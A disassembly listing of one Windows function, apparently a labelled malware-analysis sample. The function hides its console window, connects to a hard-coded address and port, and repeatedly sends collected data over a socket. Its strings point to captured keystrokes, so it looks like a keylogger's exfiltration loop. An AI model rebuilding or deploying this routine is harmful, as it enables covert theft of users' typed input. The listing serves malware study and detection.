Function at 0x1400028d0
Capabilities:
Connect socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x240
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rbp + 0x120], rax
xor eax, eax
lea rcx, [0x140009700]
cmp rax, 0x94
jae 0x140002cae
mov byte [rax + rcx], 0
inc rax
cmp rax, 0x94
jl 0x14000291a
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x202
lea rdx, [rbp - 0x80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x1400096f0], eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
lea rdx, str.WSAStartup_failed_n
jne 0x14000296e
lea rdx, str.WSAStartup_OK___n
call fcn.1400031c0
mov ebx, 2
mov word [rsp + 0x60], bx
mov ecx, 0x9d7b
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x62], ax
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
lea r8, [rsp + 0x30]
lea rdx, str._d._d._d._d
lea rcx, str.192.168.1.13
call fcn.140001650
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x30], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x31], al
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x32], al
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0x33], al
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x64], eax
movabs r13, 0x7fffffffff67697f
movabs r12, 0x7fffffffffffffff
movabs r14, 0x311cdad160000
movabs r15, 0x112e0be826d694b3
movsd xmm6, qword [0x140006630]
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], send
mov byte [rsp + 0x40], 0
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
movsxd rsi, eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
movsxd rcx, eax
sub rcx, rsi
cmp rcx, 0x493e0
jge 0x140002b7f
lea rcx, [rsp + 0x40]
call fcn.1400022a0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140002a89
imul rax, rax, 0x64
jmp 0x140002aa4
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r13
lea rdi, [rax + 0x989680]
jl 0x140002ab3
mov rdi, r12
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140002ad1
imul rbx, rax, 0x64
jmp 0x140002aed
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
cmp rbx, rdi
jge 0x140002b61
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rdx, rax, 0x64
mov rax, rdi
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
seta r8b
test r8b, r8b
lea rcx, [rdx + r14]
jne 0x140002b1f
lea rcx, [rax + rdx]
add rax, rdx
add rdx, r14
test r8b, r8b
cmove rdx, rax
mov rax, r15
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x70], rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
mov dword [rsp + 0x78], ecx
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x140002ab3
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
movsxd rcx, eax
sub rcx, rsi
cmp rcx, 0x493e0
jl 0x140002a61
mov ebx, 2
lea rcx, [rsp + 0x40]
call fcn.140001fe0
cmp qword [rsp + 0x50], 0
jne 0x140002ba9
lea rdx, str.no_letters_to_send_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400031c0
jmp 0x140002c60
mov edx, 1
lea r8d, [rdx + 5]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp rax, 0xffffffffffffffff
lea rdx, str.socket_creation_OK_n
jne 0x140002bd8
lea rdx, str.socket_creation_failed_n
call fcn.1400031c0
mov r8d, send
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x140002c4a
lea rdx, str.connected_n
call fcn.1400031c0
mov r8d, dword [rsp + 0x50]
inc r8d
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x140002c41
lea rdx, str.sending_failed_n
jmp 0x140002c51
lea rdx, str.sent_n
jmp 0x140002c51
lea rdx, str.connection_failed_n
call fcn.1400031c0
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
mov ebx, 2
jb 0x140002a20
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ca7
call fcn.140004c58
jmp 0x140002a20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004768
int3